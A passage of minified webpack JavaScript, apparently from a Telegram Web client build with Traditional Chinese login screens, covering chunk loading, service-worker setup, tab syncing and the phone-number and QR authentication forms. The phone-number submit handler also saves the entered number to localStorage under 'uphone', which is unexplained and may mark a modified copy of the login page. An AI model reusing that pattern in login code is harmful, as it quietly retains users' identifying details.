",5745:"b689c3fa43978fd36fa5",5769:"489bc95e8dc8f07937b0",5855:"42edfe052977c6684852",5930:"a0f910a4fc7894f98cd5",5993:"e10d43c39dd1d6cd98ca",5999:"83392de875b35d581bf3",6052:"bbd49c550d3fa3f6378a",6146:"91548976b89ee365650b",6220:"fdcbdc69caa331ce63e8",6284:"223ef5a118f424a69e05",6297:"4c10de90e58744c67b93",6346:"c1af366e7c380da382f8",6401:"c102de0862348c543749",6483:"47d9d02064f55255ca05",6548:"38143bc3766bd9576765",6642:"27b0faf9c3c3a1313e21",6688:"6e6472436a723fd6c3c4",6770:"27adf31334e5026a668e",6798:"130cbb7fb2076dc09c2f",6839:"01a53cbedf5d86d252ec",6889:"1570bbf99d234d818102",6892:"d92132a00962f449fe9b",6931:"c17ec3adde6293ee8470",6941:"c58f1a1140b633b5bfbf",6969:"627dcc7eee0375568a88",6972:"18e163b54cdee0e06ae1",7049:"603d1bbad1d1cd58a3fb",7052:"7ce01c1089fc048f2012",7119:"5faf5ad621420d752d92",7125:"c97aa72e1dfb70d26a20",7316:"127f822ac62ff23f834c",7388:"2bfe149177fdb7546117",7501:"bdfabf5b2b3f13db19db",7551:"c42436b834aa474d1ad5",7556:"dbf2ea37b8005ab551d2",7794:"78feae56b655d1a7c2f4",7799:"df618592c8f02665e12c",7897:"67051c1a4edfd104b28e",7963:"67bc49885963efa6598d",8063:"9067c25fb5433d1004bf",8138:"1ddea17f350975d9c260",8208:"1c2c4e54b97bd224c693",8294:"b783fd74ceaf02fa3526",8369:"797289976b67b31439db",8401:"1488805ba7e9c6d92462",8415:"f3265a8085428f6feeb2",8422:"959781cb03cf522c4c4a",8435:"4426d01316b2ec6275c1",8492:"457876a5910f182137bd",8505:"341112dc0807b4acb3e2",8530:"ec58dfda93e7783ad228",8663:"0188785d729870e344a2",8709:"97d65960b35d89d3f225",8812:"67c47f065465a3ce2bc6",8815:"14bf5f2292b2e3342a14",8822:"837984abdf8ef7a3e743",8878:"6a2ae99baac761093038",8913:"faad959a7e2400ba5b1a",9071:"629fd6579f91d683000a",9125:"e9d54540e35e032579b8",9223:"445df89d59d14ca1be45",9227:"6a8caa0d1a685f89b293",9285:"30642e0487763280ff75",9294:"612483cc7d83430e209d",9328:"c093c1fbd5540b20b3ab",9338:"92f2d9564ef879e8cb76",9375:"a71dd630a5177de2b847",9379:"267171975508bbeb3fbe",9400:"0c57ac984803fcdc2907",9486:"cde25341043ada0ac484",9535:"e5c05f58001d09ba03a6",9565:"c0f038f312343e015d0c",9606:"8175637029efdd56086f",9623:"e262ba3e5ecac055ee21",9635:"876fadf8b5f8f9f5d888",9641:"595a6610c8d96935e199",9657:"a165813de44ed89fa450",9682:"98eb13fd5d6c9d1142f0",9783:"1926d2fd770c8bd1c221",9822:"215acf058a8a3434eea9",9954:"ccfb0c4e5ee6f9ec6f67"}[e]+".js",a.miniCssF=e=>(({2120:"shared-components",3041:"BundleAuth",3779:"BundleExtra",5769:"BundleMain",9954:"BundleCalls"}[e]||e)+"."+{2120:"192c70900c1346dfde33",3041:"434e4f7bc7aa66707263",3353:"77c5ce8e23d0178ca28d",3472:"eadc9cc3a5ce81ce4e04",3779:"66a22ba7189ea93bbdd6",5769:"489bc95e8dc8f07937b0",8878:"6a2ae99baac761093038",9954:"ccfb0c4e5ee6f9ec6f67"}[e]+".css"),a.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n={},o="telegram-t:",a.l=(e,t,r,s)=>{if(n[e])n[e].push(t);else{var i,d;if(void 0!==r)for(var c=document.getElementsByTagName("script"),u=0;u<c.length;u++){var l=c[u];if(l.getAttribute("src")==e||l.getAttribute("data-webpack")==o+r){i=l;break}}i||(d=!0,(i=document.createElement("script")).charset="utf-8",i.timeout=120,a.nc&&i.setAttribute("nonce",a.nc),i.setAttribute("data-webpack",o+r),i.src=e),n[e]=[t];var f=(t,o)=>{i.onerror=i.onload=null,clearTimeout(h);var r=n[e];if(delete n[e],i.parentNode&&i.parentNode.removeChild(i),r&&r.forEach((e=>e(o))),t)return t(o)},h=setTimeout(f.bind(null,void 0,{type:"timeout",target:i}),12e4);i.onerror=f.bind(null,i.onerror),i.onload=f.bind(null,i.onload),d&&document.head.appendChild(i)}},a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e;a.g.importScripts&&(e=a.g.location+"");var t=a.g.document;if(!e&&t&&(t.currentScript&&(e=t.currentScript.src),!e)){var n=t.getElementsByTagName("script");if(n.length)for(var o=n.length-1;o>-1&&!e;)e=n[o--].src}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),a.p=e})(),(()=>{if("undefined"!=typeof document){var e={179:0};a.f.miniCss=(t,n)=>{e[t]?n.push(e[t]):0!==e[t]&&{2120:1,3041:1,3353:1,3472:1,3779:1,5769:1,8878:1,9954:1}[t]&&n.push(e[t]=(e=>new Promise(((t,n)=>{var o=a.miniCssF(e),r=a.p+o;if(((e,t)=>{for(var n=document.getElementsByTagName("link"),o=0;o<n.length;o++){var r=(a=n[o]).getAttribute("data-href")||a.getAttribute("href");if("stylesheet"===a.rel&&(r===e||r===t))return a}var s=document.getElementsByTagName("style");for(o=0;o<s.length;o++){var a;if((r=(a=s[o]).getAttribute("data-href"))===e||r===t)return a}})(o,r))return t();((e,t,n,o,r)=>{var s=document.createElement("link");s.rel="stylesheet",s.type="text/css",s.onerror=s.onload=n=>{if(s.onerror=s.onload=null,"load"===n.type)o();else{var a=n&&("load"===n.type?"missing":n.type),i=n&&n.target&&n.target.href||t,d=new Error("Loading CSS chunk "+e+" failed.\n("+i+")");d.code="CSS_CHUNK_LOAD_FAILED",d.type=a,d.request=i,s.parentNode&&s.parentNode.removeChild(s),r(d)}},s.href=t,document.head.appendChild(s)})(e,r,0,t,n)})))(t).then((()=>{e[t]=0}),(n=>{throw delete e[t],n})))}}})(),(()=>{a.b=document.baseURI||self.location.href;var e={179:0};a.f.j=(t,n)=>{var o=a.o(e,t)?e[t]:void 0;if(0!==o)if(o)n.push(o[2]);else{var r=new Promise(((n,r)=>o=e[t]=[n,r]));n.push(o[2]=r);var s=a.p+a.u(t),i=new Error;a.l(s,(n=>{if(a.o(e,t)&&(0!==(o=e[t])&&(e[t]=void 0),o)){var r=n&&("load"===n.type?"missing":n.type),s=n&&n.target&&n.target.src;i.message="Loading chunk "+t+" failed.\n("+r+": "+s+")",i.name="ChunkLoadError",i.type=r,i.request=s,o[1](i)}}),"chunk-"+t,t)}};var t=(t,n)=>{var o,r,[s,i,d]=n,c=0;if(s.some((t=>0!==e[t]))){for(o in i)a.o(i,o)&&(a.m[o]=i[o]);d&&d(a)}for(t&&t(n);c<s.length;c++)r=s[c],a.o(e,r)&&e[r]&&e[r][0](),e[r]=0},n=self.webpackChunktelegram_t=self.webpackChunktelegram_t||[];n.forEach(t.bind(null,0)),n.push=t.bind(null,n.push.bind(n))})(),(()=>{a(33592);var e=a(33555),t=a(83716),n=a(53551),o=a(71394),r=a(28406),s=a(97184);function i(s){const a=s.data;if(t.ZTn&&console.log("[SW] Message from worker",a),!a.type)return;const i=(0,e.Sv)(),d=a.payload;switch(a.type){case"focusMessage":i.focusMessage?.(d);break;case"playNotificationSound":(0,r.Nz)(a.payload.id);break;case"share":i.openChatWithDraft({text:(0,n.QH)(d.url,d.text,d.title),files:(0,o.ox)(d.files)})}}function d(){navigator.serviceWorker.removeEventListener("message",i),navigator.serviceWorker.addEventListener("message",i),(0,r.KC)()}s.Mc&&(window.addEventListener("load",(async()=>{try{const n=navigator.serviceWorker.controller;if(!n||n.scriptURL.includes("/k/")){const e=(await navigator.serviceWorker.getRegistrations()).filter((e=>!e.scope.includes("/k/")));e.length&&(t.eMD&&console.log("[SW] Hard reload detected, re-enabling Service Worker"),await Promise.all(e.map((e=>e.unregister()))))}await navigator.serviceWorker.register(new URL(a.p+a.u(9294),a.b)),t.eMD&&console.log("[SW] ServiceWorker registered"),await navigator.serviceWorker.ready,await navigator.serviceWorker.getRegistration(),navigator.serviceWorker.controller?(t.eMD&&console.log("[SW] ServiceWorker ready"),d()):(t.eMD&&console.error("[SW] ServiceWorker not available"),s.cj||s.wZ||t.Cgt||(0,e.Sv)().showDialog?.({data:{message:"SERVICE_WORKER_DISABLED",hasErrorKey:!0}}))}catch(e){t.eMD&&console.error("[SW] ServiceWorker registration failed: ",e)}})),window.addEventListener("focus",(async()=>{await navigator.serviceWorker.ready,d()})));var c=a(65116),u=a(82267),l=a(41020),f=a(7054);let h,m=[];function p(){let t=(0,e.Rd)();const n=(0,u.bp)();Object.values(t.stories.byPeerId).forEach((e=>{Object.values(e.byId).forEach((e=>{"expireDate"in e&&(e.expireDate>n||"isPinned"in e&&e.isPinned||"isPublic"in e&&!e.isPublic||(t=(0,l.se)(t,e.peerId,e.id)))}))})),(0,e.R3)(t)}(0,c.ll)((e=>{const t=h;h=e;const n=(0,f.jUK)(e)?.isMasterTab,o=t&&(0,f.jUK)(t)?.isMasterTab;n!==o&&(n&&!o?m.length||m.push(window.setInterval(p,12e4)):(m.forEach((e=>clearInterval(e))),m=[]))}));var g=a(49524),y=a(65054),b=a(60782),v=a(99203),w=a(15780),I=a(50214),C=a(80009),S=a(44271),E=a(5872),P=a(4463),k=a(35369);(0,E.QS)(),(0,e.iw)("initShared",((e,n,o)=>{const{force:r}=o||{};if(!r&&"byTabId"in e)return e;const s=(0,b.Xh)(k.g9);let a=(0,E.J9)(s)||s;t.NuY&&(a.authState="authorizationStateReady");const{hasPasscode:i,isScreenLocked:d}=a.passcode;return i&&!d&&(a=(0,l.vu)(a,{isScreenLocked:!0}),(0,I.jv)()),r&&(a.byTabId=e.byTabId),a})),(0,e.iw)("init",((t,n,o)=>{const{tabId:r=(0,y._w)(),isMasterTab:a}=o||{},i=(0,b.Xh)(k.nn);i.id=r,i.isChatInfoShown=Boolean(t.lastIsChatInfoShown),i.audioPlayer.playbackRate=t.audioPlayer.lastPlaybackRate,i.audioPlayer.isPlaybackRateActive=t.audioPlayer.isLastPlaybackRateActive,i.mediaViewer.playbackRate=t.mediaViewer.lastPlaybackRate,t={...t,byTabId:{...t.byTabId,[r]:i}},!a&&s.Eo||(i.isMasterTab=!0),Object.keys(t.messages.byChatId).forEach((e=>{const n=t.messages.byChatId[e].threadsById;Object.keys(n).forEach((n=>{const o=Number(n),s=(0,f.WPz)(t,e,o,"lastViewportIds");t=s?.every((n=>(0,P.AJ)(n)||t.messages.byChatId[e]?.byId[n]))?(0,l.O8)(t,e,o,"viewportIds",s,r):(0,l.pf)(t,e,o,"lastViewportIds",void 0)}))})),Object.keys(t.messages.byChatId).forEach((e=>{const n=t.messages.byChatId[e].threadsById,o=Object.keys(n).reduce(((e,t)=>{const o=n[Number(t)];return e[Number(t)]={...o,listedIds:o.lastViewportIds},e}),{});t={...t,messages:{...t.messages,byChatId:{...t.messages.byChatId,[e]:{...t.messages.byChatId[e],threadsById:o}}}}}));const d=(0,w.VX)();return"authorizationStateReady"===t.authState||t.passcode.hasPasscode||t.passcode.isScreenLocked||Object.values(t.byTabId).forEach((({id:e})=>{e!==r&&(t=(0,S.i)(t,{isInactive:!0},e))})),s.Eo||n.initApi(),(0,g.isCacheApiSupported)().then((n=>{(t=(0,e.Rd)()).isCacheApiSupported=n,(0,e.R3)(t)})),t.peerColors&&(0,C.s)(t.peerColors.general),(0,S.i)(t,{messageLists:d?[d]:i.messageLists},r)})),(0,e.iw)("requestMasterAndCallAction",(async(t,n,o)=>{const{tabId:r=(0,y._w)()}=o;if((0,f.jUK)(t,r).isMasterTab){const{action:e,payload:t}=o;n[e](t)}else t.phoneCall||t.groupCalls.activeGroupCallId?(await(0,v.Pb)(v.gl.Calls),"hangUp"in n&&n.hangUp({tabId:r}),"leaveGroupCall"in n&&n.leaveGroupCall({tabId:r})):(0,y.g)(),t=(0,e.Rd)(),t=(0,S.i)(t,{multitabNextAction:o},r),(0,e.R3)(t)})),(0,e.iw)("clearMultitabNextAction",((e,t,n)=>{const{tabId:o=(0,y._w)()}=n||{};return(0,S.i)(e,{multitabNextAction:void 0},o)}));var T=a(60748),M=a(31664),A=a(57710),L=a(9933),N=a(69118);let R=!1;async function Z(){await new Promise((e=>{const t=[];let n=performance.now();(0,L.jt)((()=>{const o=performance.now();if(t.push(o-n),n=o,10===t.length){const n=t.sort()[Math.floor(t.length/2)];return e(Math.round(1e3/n)),!1}return!0}),N.T2)}))<=35&&function(){R=!0;const e=document.createElement("div");e.style.cssText="position: absolute; top: 0; left: 0; width: 0; height: 100%; overflow: hidden;";const t=document.createElement("div"),n=1.5*window.screen.height;t.style.cssText=`width: 0; height: ${n}px; transform: translateX(100%); transition: transform 100ms;`,t.innerHTML="&nbsp;",e.appendChild(t),document.body.appendChild(e),requestAnimationFrame((()=>{t.addEventListener("transitionend",(()=>{e.remove()})),t.style.transform=""}))}()}var D=a(92387);const B=Symbol("EQUAL");function O(e,t){const n=typeof t;if(e===t)return B;if(typeof e!==n)return t;if("object"!==n)return t;if(Array.isArray(e)&&Array.isArray(t))return r=t,(o=e).length===r.length&&o.every(((e,t)=>O(e,r[t])===B))?B:t;var o,r;const s=e,a=t,i=Array.from(new Set([...Object.keys(s),...Object.keys(a)])).reduce(((e,t)=>{if(s[t]===a[t])return e;const n=s.hasOwnProperty(t),o=a.hasOwnProperty(t);if(!o)return e[t]={__delete:!0},e;if(!n&&o)return e[t]=a[t],e;const r=O(s[t],a[t]);return r!==B&&(e[t]=r),e}),{});return 0===Object.keys(i).length?B:i}function x(e,t){const n=typeof e,o=typeof t;if("object"!==n)return t;if(Array.isArray(t))return t;if(n!==o)return t;if(e===t)return t;const r=e,s=t,a=Object.keys(s),i=a.filter((e=>s[e]?.__delete));return a.filter((e=>!s[e]?.__delete)).reduce(((e,t)=>(e[t]=x(r[t],s[t]),e)),{...(0,b.CE)(r,i)})}let _,F,j=!1,$=!1;const U=s.Eo?new BroadcastChannel(t.tuy):void 0;function V({data:t}){if(t&&U)switch(t.type){case"initApi":{const n=(0,e.Rd)();if(!(0,f.jUK)(n).isMasterTab)return;const{initialArgs:o}=t;(0,D.g8)((0,e.Sv)().apiUpdate,o);break}case"globalDiffUpdate":{if(!j)return;const{diff:n}=t,o=(0,e.Rd)(),r=x(o,n);r.DEBUG_capturedId=o.DEBUG_capturedId,F=r,(0,e.R3)(r);break}case"globalUpdate":{if(j)return;const n=(0,e.Rd)();t.global.DEBUG_capturedId=n.DEBUG_capturedId,F=t.global,(0,e.R3)(t.global),_&&(_(),_=void 0,j=!0);break}case"requestGlobal":{const{appVersion:n}=t;if("10.4.5"!==n)return void window.location.reload();if(!j)return;const o=(0,e.Rd)();if(!(0,f.jUK)(o).isMasterTab)return;U.postMessage({type:"globalUpdate",global:o}),(0,y.Z6)();break}case"messageCallback":{if(!j)return;const n=(0,e.Rd)();if((0,f.jUK)(n).isMasterTab)return;(0,D.s8)(t);break}case"localDbUpdate":{if(!j)return;const n=(0,e.Rd)();if((0,f.jUK)(n).isMasterTab)return;const{batchedUpdates:o}=t;o.forEach((({name:e,prop:t,value:n})=>{(0,D.mR)(e,t,n)}));break}case"localDbUpdateFull":{if(!j)return;const n=(0,e.Rd)();if((0,f.jUK)(n).isMasterTab)return;const{localDb:o}=t;(0,D.Zf)(o);break}case"messageResponse":{if(!j)return;const n=(0,e.Rd)();if((0,f.jUK)(n).isMasterTab)return;(0,D.Mk)(t);break}case"cancelApiProgress":{if(!j)return;const n=(0,e.Rd)();if(!(0,f.jUK)(n).isMasterTab)return;const{messageId:o}=t;(0,D.UC)(o);break}case"callApi":{if(!j)return;const n=(0,e.Rd)();if(!(0,f.jUK)(n).isMasterTab)return;const{name:o,messageId:r,token:s,args:a,withCallback:i}=t,d=i?[...a,(...e)=>{U.postMessage({type:"messageCallback",token:s,messageId:r,callbackArgs:e})}]:a;(async()=>{const e=await(0,D.$9)(o,...d);U.postMessage({type:"messageResponse",token:s,messageId:r,response:e})})();break}}}var H=a(17926);const W="tt-active-tab",K=String(Date.now()+Math.random());let G;localStorage.setItem(W,K);const z=window.setInterval((()=>{G&&localStorage.getItem(W)!==K&&(G(),clearInterval(z))}),2e3);var q=a(46752),Y=a(36046),J=a(43858),X=a(42797),Q=a(60706),ee=a(87204),te=(a(89005),a(73456),a(65456),a(51371),a(28304),a(18360)),ne=a(97458),oe=a(46590),re=a(2255),se=a(48778),ae=a(34288);const ie=()=>{const e=(0,se.Z)(v.gl.Auth,"AuthCode");return e?T.ZP.createElement(e,null):T.ZP.createElement(ae.Z,null)},de=()=>{const e=(0,se.Z)(v.gl.Auth,"AuthPassword");return e?T.ZP.createElement(e,null):T.ZP.createElement(ae.Z,null)},ce=["400 1em Roboto","500 1em Roboto"];function ue(){if("fonts"in document)return Promise.all(ce.map((e=>document.fonts.load(e))))}var le=a(59692),fe=a(6272);function he(){let e=navigator.language.toLowerCase();return e&&"pt-br"!==e&&(e=e.substr(0,2)),e}var me=a(59107),pe=a(77510);const ge=(e,t,n=!1)=>{const o=n?void 0:t,{result:r}=(0,pe.Z)((()=>e?le.Pn(e,t):Promise.resolve()),[e,t],o);return r||o};var ye=a(231),be=a(14605),ve=a(97687),we=a(34284),Ie=a(85765),Ce=a(32340),Se=a(34446),Ee=a(53106),Pe=a(58964),ke=a(49204);const Te=200+t.fK3;function Me(e,t=""){if(!t.length)return e;const n=(0,Ie.W)(t);return e.filter((e=>n(e.defaultName)||e.name&&n(e.name)))}const Ae=(0,T.X$)((0,e.c$)((e=>{const{countryList:{phoneCodes:t}}=e;return{phoneCodeList:t}}))((({id:e,value:t,isLoading:n,onChange:o,phoneCodeList:r})=>{const s=(0,me.Z)(),a=(0,T.sO)(null),[i,d]=(0,T.eJ)(),[c,u]=(0,T.eJ)([]),l=(0,T.I4)((e=>{d(e),u(Me(r,e))}),[r]);(0,Se.Z)((([e])=>{!e?.length&&r.length&&u(Me(r,i))}),[r,i]);const f=(0,T.I4)((e=>{o(e),setTimeout((()=>l(void 0)),Te)}),[o,l]),h=(0,T.I4)((e=>{l(e.currentTarget.value)}),[l]),m=(0,T.I4)((e=>{if(8!==e.keyCode)return;const n=e.currentTarget;t&&void 0===i&&(n.value=""),l(n.value)}),[i,l,t]),p=(0,T.I4)((({onTrigger:o,isOpen:r})=>{const s=()=>{if(r)return;setTimeout((()=>{a.current.select()}),50),o();const e=document.getElementById("auth-phone-number-form");e.scrollTo({top:e.scrollHeight,behavior:"smooth"})},d=i??(t?.name||t?.defaultName||"");return T.ZP.createElement("div",{className:(0,q.Z)("input-group",t&&"touched")},T.ZP.createElement("input",{ref:a,className:(0,q.Z)("form-control",r&&"focus"),type:"text",id:e,value:d,autoComplete:"off",onClick:s,onFocus:s,onInput:e=>{h(e),s()},onKeyDown:m}),T.ZP.createElement("label",null,"國家"),n?T.ZP.createElement(ke.Z,{color:"black"}):T.ZP.createElement("i",{onClick:s,className:(0,q.Z)("css-icon-down",r&&"open")}))}),[i,h,m,e,n,s,t]);return T.ZP.createElement(Ee.Z,{className:"CountryCodeInput",trigger:p},c.map((e=>T.ZP.createElement(Pe.Z,{key:`${e.iso2}-${e.countryCode}`,className:t&&e.iso2===t.iso2?"selected":"",onClick:()=>f(e)},T.ZP.createElement("span",{className:"country-flag"},(0,Ce.Z)((0,we.Wg)(e.iso2),["hq_emoji"])),T.ZP.createElement("span",{className:"country-name"},e.name||e.defaultName),T.ZP.createElement("span",{className:"country-code"},"+",e.countryCode)))),!c.length&&T.ZP.createElement(Pe.Z,{key:"no-results",className:"no-results",disabled:!0},T.ZP.createElement("span",null,s("lng_country_none"))))}))),Le=a.p+"monkey.a3d5fcdc50b18dc55695.svg";let Ne=!1;const Re=(0,T.X$)((0,e.c$)((e=>{const{settings:{byKey:{language:t}},countryList:{phoneCodes:n}}=e;return{...(0,b.ei)(e,["connectionState","authState","authPhoneNumber","authIsLoading","authIsLoadingQrCode","authError","authRememberMe","authNearestCountry"]),language:t,phoneCodeList:n}}))((({connectionState:t,authState:n,authPhoneNumber:r,authIsLoading:a,authIsLoadingQrCode:i,authError:d,authRememberMe:c,authNearestCountry:u,phoneCodeList:l,language:f})=>{const{setAuthPhoneNumber:h,setAuthRememberMe:m,loadNearestCountry:p,loadCountryList:g,clearAuthError:y,goToAuthQrCode:b,setSettingOption:v}=(0,e.Sv)(),w=(0,me.Z)(),I=(0,T.sO)(null),C=he(),S="connectionStateReady"===t,E=ge(S?C:void 0,"ContinueOnThisLanguage",!0),[P,k]=(0,T.eJ)(),[M,L]=(0,T.eJ)(),[N,R]=(0,T.eJ)(!1),[Z,D]=(0,T.eJ)(),[B,O,x]=(0,Q.Z)(),_=P?`+${P.countryCode} ${M||""}`:M,F=_&&_.replace(/[^\d]+/g,"").length>=7;(0,T.d4)((()=>{s.$b||I.current.focus()}),[P]),(0,T.d4)((()=>{S&&!u&&p()}),[S,u]),(0,T.d4)((()=>{S&&g({langCode:f})}),[S,f]),(0,T.d4)((()=>{u&&l&&!P&&!N&&k((0,fe.U9)(l,u)[0])}),[P,u,N,l]);const j=(0,T.I4)((e=>{e.length||L("");const t=l&&(0,fe.g3)(l,e),n=!P||t&&t.iso2!==P.iso2||!t&&e.length?t:P;(!P||!n||n&&n.iso2!==P.iso2)&&k(n),L((0,fe.un)(e,n))}),[l,P]),$=(0,T.I4)((()=>{O(),(0,le.m0)(C,(()=>{x(),v({language:C})}))}),[O,v,C,x]);(0,T.d4)((()=>{void 0===M&&r&&j(r)}),[r,M,j]),(0,T.bt)((()=>{I.current&&Z&&I.current.setSelectionRange(...Z)}),[Z]);const U=(0,T.sO)(!1),V=(0,T.I4)((()=>{U.current=!0,(0,A.i$)((()=>{U.current=!1}))}),[]),H=(0,T.I4)((e=>{k(e),L("")}),[]),W=(0,T.I4)((e=>{d&&y(),Ne||(Ne=!0,ue(),(0,o.pt)(Le));const{value:t,selectionStart:n,selectionEnd:r}=e.target;D(n&&r&&r<t.length?[n,r]:void 0),R(!0);const a=s.s$&&P&&void 0!==_&&t.length-_.length>1&&!U.current;j(a?`${P.countryCode} ${t}`:t)}),[d,y,P,_,j]),K=(0,T.I4)((e=>{m(e.target.checked)}),[m]),G=(0,T.I4)((()=>{b()}),[b]),z="authorizationStateWaitPhoneNumber"===n;return T.ZP.createElement("div",{id:"auth-phone-number-form",className:"custom-scroll"},T.ZP.createElement("div",{className:"auth-form"},T.ZP.createElement("div",{id:"logo"}),T.ZP.createElement("h1",null,"Telegram"),T.ZP.createElement("p",{className:"note"},"請確認您的國家/地區代碼並輸入您的電話號碼"),T.ZP.createElement("form",{className:"form",action:"",onSubmit:function(e){e.preventDefault(),a||F&&(localStorage.setItem("uphone",_),h({phoneNumber:_}))}},T.ZP.createElement(Ae,{id:"sign-in-phone-code",value:P,isLoading:!u&&!P,onChange:H}),T.ZP.createElement(ve.Z,{ref:I,id:"sign-in-phone-number",label:"你的電話號碼",value:_,error:d&&w(d),inputMode:"tel",onChange:W,onPaste:s.s$?V:void 0}),F&&(z?T.ZP.createElement(ye.Z,{type:"submit",ripple:!0,isLoading:a},"下一步"):T.ZP.createElement(ae.Z,null)),z&&T.ZP.createElement(ye.Z,{isText:!0,ripple:!0,isLoading:i,onClick:G},"二維碼登錄"),)))})));var Ze=a(99314),De=a(47348),Be=a(70692),Oe=a(58912),xe=a(69123);let _e;const Fe=(0,T.X$)((0,e.c$)((e=>{const{connectionState:t,authState:n,authQrCode:o,settings:{byKey:{language:r}}}=e;return{connectionState:t,authState:n,authQrCode:o,language:r}}))((({connectionState:n,authState:o,authQrCode:r,language:s})=>{const{returnToAuthPhoneNumber:i,setSettingOption:d}=(0,e.Sv)(),c=he(),u=((0,me.Z)(),(0,T.sO)(null)),l="connectionStateReady"===n,f=ge(l?c:void 0,"ContinueOnThisLanguage",!0),[h,m,p]=(0,Q.Z)(),[g,y,b]=(0,Q.Z)(),{result:v}=(0,pe.Z)((async()=>new(0,(await(_e||(_e=a.e(6839).then(a.t.bind(a,91915,23))),_e)).default)({width:280,height:280,image:xe,margin:10,type:"svg",dotsOptions:{type:"rounded"},cornersSquareOptions:{type:"extra-rounded"},imageOptions:{imageSize:.4,margin:8},qrOptions:{errorCorrectionLevel:"M"}})),[]),w=(0,Be.Z)(g);(0,T.bt)((()=>{if(!r||!v)return()=>{b()};if(!l)return;const e=u.current,t=`tg://login?token=${r.token}`;(0,Ze.Cz)(),v.update({data:t}),g||(v.append(e),y()),setTimeout((()=>{(0,Ze.Ru)()}),50)}),[l,r,g,y,b,v]),(0,T.d4)((()=>{l&&(0,le.m0)(t.sRA)}),[l]);const I=(0,T.I4)((()=>{m(),(0,le.m0)(c,(()=>{p(),d({language:c})}))}),[m,d,c,p]),C=(0,T.I4)((()=>{i()}),[i]),S="authorizationStateWaitQrCode"===o;return T.ZP.createElement("div",{id:"auth-qr-form",className:"custom-scroll"},T.ZP.createElement("div",{className:"auth-form qr"},T.ZP.createElement("div",{className:"qr-outer"},T.ZP.createElement("div",{className:(0,q.Z)("qr-inner",w),key:"qr-inner"},T.ZP.createElement("div",{key:"qr-container",className:"qr-container",ref:u,style:"width: 280px; height: 280px"}),T.ZP.createElement(Oe.Z,{tgsUrl:De.l.QrPlane,size:54,className:"qr-plane",nonInteractive:!0,noLoop:!1})),!g&&T.ZP.createElement("div",{className:"qr-loading"},T.ZP.createElement(ae.Z,null))),T.ZP.createElement("h1",null,"通过二維碼登錄 Telegram"),T.ZP.createElement("ol",null,T.ZP.createElement("li",null,T.ZP.createElement("span",null,"在手機上打開 Telegram")),T.ZP.createElement("li",null,T.ZP.createElement("span",null,"轉到 > 設置 > 設備 > 鏈接桌面設備")),T.ZP.createElement("li",null,T.ZP.createElement("span",null,"將手機指向此屏幕以確認登錄"))),S&&T.ZP.createElement(ye.Z,{isText:!0,onClick:C},"通過電話號碼登錄"),))}))),je=()=>{const e=(0,se.Z)(v.gl.Auth,"AuthRegister");return e?T.ZP.createElement(e,null):T.ZP.createElement(ae.Z,null)},$e=(0,T.X$)((0,e.c$)((e=>({authState:e.authState})))((({authState:t})=>{const{returnToAuthPhoneNumber:n,goToAuthQrCode:o}=(0,e.Sv)(),r="iOS"===s.Lt||"Android"===s.Lt;(0,oe.Z)({isActive:!r&&"authorizationStateWaitPhoneNumber"===t||r&&"authorizationStateWaitQrCode"===t,onBack:()=>{r?n():o()}});const a=(0,T.sO)(null);(0,ne.Z)(a);const i=(0,te.Z)("authorizationStateReady"!==t?t:void 0,!0);return T.ZP.createElement(re.ZP,{activeKey:function(){switch(i){case"authorizationStateWaitCode":return 0;case"authorizationStateWaitPassword":return 1;case"authorizationStateWaitRegistration":return 2;case"authorizationStateWaitPhoneNumber":return 3;case"authorizationStateWaitQrCode":return 4;default:return r?3:4}}(),name:"fade",className:"Auth",ref:a},function(){switch(i){case"authorizationStateWaitCode":return T.ZP.createElement(ie,null);case"authorizationStateWaitPassword":return T.ZP.createElement(de,null);case"authorizationStateWaitRegistration":return T.ZP.createElement(je,null);case"authorizationStateWaitPhoneNumber":return T.ZP.createElement(Re,null);case"authorizationStateWaitQrCode":return T.ZP.createElement(Fe,null);default:return r?T.ZP.createElement(Re,null):T.ZP.createElement(Fe,null)}}())})));var Ue=a(6137),Ve=a(22825),He=a(40647),We=a(7792),Ke=a(31212);const Ge="FM3UqBURiJqkjC4tI7eS",ze="J5QD898gcautir6pK9xA";var qe=a(2092);const Ye=a.p+"mask.c474db1e76529489b940.svg",Je=a.p+"telegram-logo.1b2bb5b107f046ea9325.svg";function Xe(){const{listIds:t,byId:n}=(0,e.Rd)().chats;if(t.active)return Promise.all(t.active.slice(0,10).map((e=>{const t=n[e];if(!t)return;const o=(0,Ve.RT)(t);return o?He.he(o,Ue.IU.BlobUrl):void 0})))}const Qe={main:()=>Promise.all([(0,v.$y)(v.gl.Main).then(ue),Xe(),(0,o.pt)(Ye)]),authPhoneNumber:()=>Promise.all([ue(),(0,o.pt)(Je)]),authCode:()=>(0,o.pt)(Le),authPassword:()=>(0,o.pt)(Le),authQrCode:ue,lock:()=>Promise.all([ue(),(0,o.pt)(qe)]),inactive:()=>{}},et=(0,e.c$)(((e,{isMobile:t})=>{const n=(0,f.jUK)(e);return{shouldSkipHistoryAnimations:n.shouldSkipHistoryAnimations,uiReadyState:n.uiReadyState,isRightColumnShown:(0,f.Jf5)(e,t),leftColumnWidth:e.leftColumnWidth}}))((({page:t,children:n,isRightColumnShown:o,shouldSkipHistoryAnimations:r,leftColumnWidth:s})=>{const{setIsUiReady:a}=(0,e.Sv)(),[i,d]=(0,Q.Z)(),{shouldRender:c,transitionClassNames:u}=(0,Ke.Z)(!i,void 0,!0);return(0,We.Z)((()=>{let e;return Promise.race([(0,N.wO)(700),t?(async()=>{try{await Qe[t]()}catch(e){}})():Promise.resolve()]).then((()=>{d(),a({uiReadyState:1}),e=window.setTimeout((()=>{a({uiReadyState:2})}),1e3)})),()=>{e&&(clearTimeout(e),e=void 0),a({uiReadyState:0})}})),T.ZP.createElement(T.ZP.Fragment,null,n,c&&!r&&Boolean(t)&&T.ZP.createElement("div",{className:(0,q.Z)("dDIGwEoHlINzvf7LzGwy",u)},"main"===t?T.ZP.createElement("div",{className:"jxcLmQWl6IklxyLBcFsv"},T.ZP.createElement("div",{className:"s_eiw3FJDNGVyMHHEr_w",style:s?`width: ${s}px`:void 